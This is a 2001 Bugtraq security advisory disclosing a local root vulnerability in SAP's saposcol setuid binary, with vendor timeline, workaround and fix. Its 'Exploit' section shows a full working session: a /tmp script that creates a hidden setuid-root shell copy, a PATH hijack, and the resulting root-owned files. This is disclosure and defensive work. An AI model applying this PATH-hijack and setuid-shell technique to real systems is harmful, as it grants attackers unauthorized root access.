SAP R/3 Web Application Server Demo for Linux: root exploit
Date: Sun, 29 Apr 2001 09:29:58 +0200
From: Jochen Hein <jochen@JOCHEN.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: SAP R/3 Web Application Server Demo for Linux: root exploit
Topic: SAP R/3 Web Application Server Demo for Linux: root exploit
Module: /usr/sap/WAS/SYS/exe/run/saposcol
Announced: 2001-04-29
Affects: WAS demo as released on CeBit
Vendor: [1]SAP AG, Walldorf, Germany
Vendor-Status: informed 2001-04-09
acknoledged 2001-04-10
workaround specified 2001-04-17
estimated fix for 2001-04-27: 2001-04-18
fix available: 2001-04-27
Synopsis
The Web Application Server demo for Linux contains the program
saposcol that is setuid root. Due to improper usage of popen(3) it
may be possible for local users to gain unauthorized root access.
Exploit
Below is a complete log of a successful root eploit.
user@jupiter:~$ cat /tmp/expand
#!/bin/sh
cp /usr/bin/ksh /tmp/.sh
chmod 4755 /tmp/.sh
echo "done" > /tmp/blubber
user@jupiter:~$ ls -l /tmp/.sh /tmp/blubber
ls: /tmp/.sh: No such file or directory
ls: /tmp/blubber: No such file or directory
user@jupiter:~$ export PATH=/tmp:$PATH
user@jupiter:~$ /usr/sap/WAS/SYS/exe/run/saposcol
Starting collector (create new process)
user@jupiter:~$ ls -l /tmp/.sh /tmp/blubber
-rwsr-xr-x 1 root sapdb 162448 Apr 9 21:00 /tmp/.sh
-rw-r--r-- 1 root sapdb 5 Apr 9 21:00 /tmp/blubber
Impact
Lokal users may gain unauthorized root access. The path
/usr/sap/WAS/SYS/exe/run is not protected with file permissions as
well as saposcol itself (this is also documented in SAP's security
documentation).
Since the Web Application Server Demo may be installed on systems with
local users that may even allow dial up access, it is a real problem.
Affected Versions
* The Web Application Server fЭr Linux as distributed on CD at the
CeBit fair.
* The saposcol version 1.4 dated 2001-03-22 (available on
ftp://ftp.sap.com/pub/linuxlab/saptools).
I don't have access to other SAP R/3 releases under Linux, so I can't
comment on wether or not they are affected. saposcol is used on other
Unix platforms as well, it is currently unknown if it is vulnerable
there too.
Workaround
Workaround is to remove the setuid-bit from saposcol as show below:
root# chmod u-s /usr/sap/WAS/SYS/exe/run/saposcol
This may affect some functions of the Web Application Server.
If you trust your wasadm user as well as all SAP R/3 users on your
system, you may only want to restrict saposcol to the group sapdb and
leave the setuid-bit intact.
root# chgrp sapdb /usr/sap/WAS/SYS/exe/run/saposcol
root# chmod a-rx /usr/sap/WAS/SYS/exe/run/saposcol
Updated versions
The version 1.5 of the saposcol program fixes this vulnerability. It
is available from:
* sapserv* in /general/misc/linuxlab/saptools - you need access to
SAP OSS.
* [2]ftp.sap.com in /pub/linuxlab/saptools
Vendor Status
2001-04-09: SAP has been informed including the exploit.
2001-04-10: SAP has acknowledged the problem and promised a fix in the
next version of the saposcol program.
2001-04-17: SAP said: chmod u-s as a workaround.
2001-04-27: Fix available
Remarks
Shouldn't it be a well known fact that popen(3) is very insecure for
setuid programs? Since it calls /bin/sh to start the program a lot of
clever tricks with environment variables are possible. SAP might be
well advised to read the Secure Programming HOWTO.
SAP has fixed that vulnerability. But I consider saposcol still much
to big to give me confidence in its security:
jupiter:(vc/3):~/tmp% ls -l saposcol*
-rw-rw-r-- 1 jochen jochen 930298 Apr 27 18:07 saposcol_dbg
-rw-rw-r-- 1 jochen jochen 866386 Apr 27 18:07 saposcol_opt
Beside that, feedback from SAP has been timely and useful.
_________________________________________________________________
[3]Jochen Hein
References
1. http://www.sap.com/
2. ftp://ftp.sap.com/pub/linuxlab/saptools
3. mailto:jochen@jochen.org
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